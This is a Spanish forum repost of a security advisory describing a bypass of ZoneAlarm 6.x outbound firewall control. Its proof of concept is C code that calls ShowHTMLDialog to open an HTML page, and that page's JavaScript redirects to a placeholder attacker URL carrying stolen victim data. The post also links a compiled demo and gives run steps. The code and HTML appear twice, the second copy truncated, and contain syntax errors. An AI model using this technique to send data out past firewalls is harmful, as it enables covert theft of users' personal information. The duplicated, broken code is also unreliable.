Autor
------------------------
Zone Alarm Pro 6.0.x
Zone Alarm Internet Security Suit 6.0.x
Zone Alarm Firewall with Anti-Spyware 6.1.x
Zone Alarm Firewall with Anti-Virus 6.0.x
Zone Alarm Firewall (Free Version) 6.0.x
Detalles:
-----------
Zone Alarm con Advance Program Control y el firewall funcionando, detecta y bloquea casi todos los APIs (ejem:like Shell,
ShellExecuteEx, SetWindowText, SetDlgItem etc)los cuales son utilizados por programas maliciosos para enviar datos via HTTP.
Sin embargo, sigue siendo posible para un programa malicioso(troyano, gusano,etc) hacer conexiones de salida hacia una web infectada usando "HTML Modal Dialog" en conjunto con un simple "javascript".
Impacto:
----------
La ejecucion acertada el programa malicioso podrá enviar
detalles de la víctima e información personal del sistema al atacante y éste puede terminar de comprometer el sistema.
Prueba de Concepto:
------------------------
Usando el método de ShowHTMLDialog(), es posible para cualquier programa malicio crear una caja de diálogo modal que exhiba HTML. Esto puede ser utilizada para volver a dirigir la página al sitio del atacante. Este método se puede utilizar por cualquier programa malicioso para enviar datos exteriores vía HTTP al atacante y all mismo tiempo puede también recibir
las instrucciones de comando del atacante.
Código:
BOOL LoadHtmlDialog(void)
{
HINSTANCE hinstMSHTML = LoadLibrary(TEXT("MSHTML.DLL"));
if (hinstMSHTML)
{
SHOWHTMLDIALOGFN* pfnShowHTMLDialog;
// abra una caja de diálogo modal del tipo HTML content type
pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
TEXT("ShowHTMLDialog"));
if (pfnShowHTMLDialog)
{
IMoniker *pURLMoniker;
// invoque el archivo del HTML que contiene los datos que se enviarán vía HTTP
BSTR bstrURL = SysAllocString(L"c:\\modal-dialog.htm");
CreateURLMoniker(NULL, bstrURL, &pURLMoniker);
if (pURLMoniker)
{
(*pfnShowHTMLDialog)(NULL, pURLMoniker, NULL, NULL, NULL);
pURLMoniker->Release();
}
SysFreeString(bstrURL);
}
FreeLibrary(hinstMSHTML);
}
Return True;
}
<<< +++ >>>
<<< modal-dialog.htm >>>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<title>Redirection Dialog</title>
<script language="javascript">
<!-- aquí va la información registrada por el programa malicioso que envíease al sitio malvado vía la petición de HTTP request -->
var sTargetURL =
"http://www.google.com?[tu informacion aqui]
window.location.href = sTargetURL;
window.close;
</script>
</head>
</html>
{
HINSTANCE hinstMSHTML = LoadLibrary(TEXT("MSHTML.DLL"));
if (hinstMSHTML)
{
SHOWHTMLDIALOGFN* pfnShowHTMLDialog;
// abra una caja de diálogo modal del tipo HTML content type
pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
TEXT("ShowHTMLDialog"));
if (pfnShowHTMLDialog)
{
IMoniker *pURLMoniker;
// invoque el archivo del HTML que contiene los datos que se enviarán vía HTTP
BSTR bstrURL = SysAllocString(L"c:\\modal-dialog.htm");
CreateURLMoniker(NULL, bstrURL, &pURLMoniker);
if (pURLMoniker)
{
(*pfnShowHTMLDialog)(NULL, pURLMoniker, NULL, NULL, NULL);
pURLMoniker->Release();
}
SysFreeString(bstrURL);
}
FreeLibrary(hinstMSHTML);
}
Return True;
}
<<< +++ >>>
<<< modal-dialog.htm >>>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<title>Redirection Dialog</title>
<script language="javascript">
<!-- aquí va la información registrada por el programa malicioso que envíease al sitio malvado vía la petición de HTTP request -->
var sTargetURL =
"http://www.google.com?[tu informacion aqui]
window.location.href = sTargetURL;
window.close;
</script>
</head>
</html>
Demostracion:
----------------
Para un mejor entendimiento, "osfwbypass-demo.exe" y el script de redirecionamiento del HTML ("modal-dialog.htm") se encuentarn incluidos, en su version compilada, en este enlace:
http://www.hackingspirits.com/vuln-rnd/osfwbypass-demo.zip
Para probarlo seguimos los siguientes pasos:
a.-extraemos osfwbypass-demo.exe y modal-dialog.htm en C:\.No lo haga en otro lado o no funcionara.
b.-. ejecutamos "osfwbypass-demo.exe" y le damos click en el boton "GO".
Esto abrira "modal-dialog.htm" y redirecionara a la victima a
el sitio malicioso y envíara informacion del usuario a la URl del atacante.
Creditos:
Tr0y
Fuente:Securityfocus
Salu2
En línea
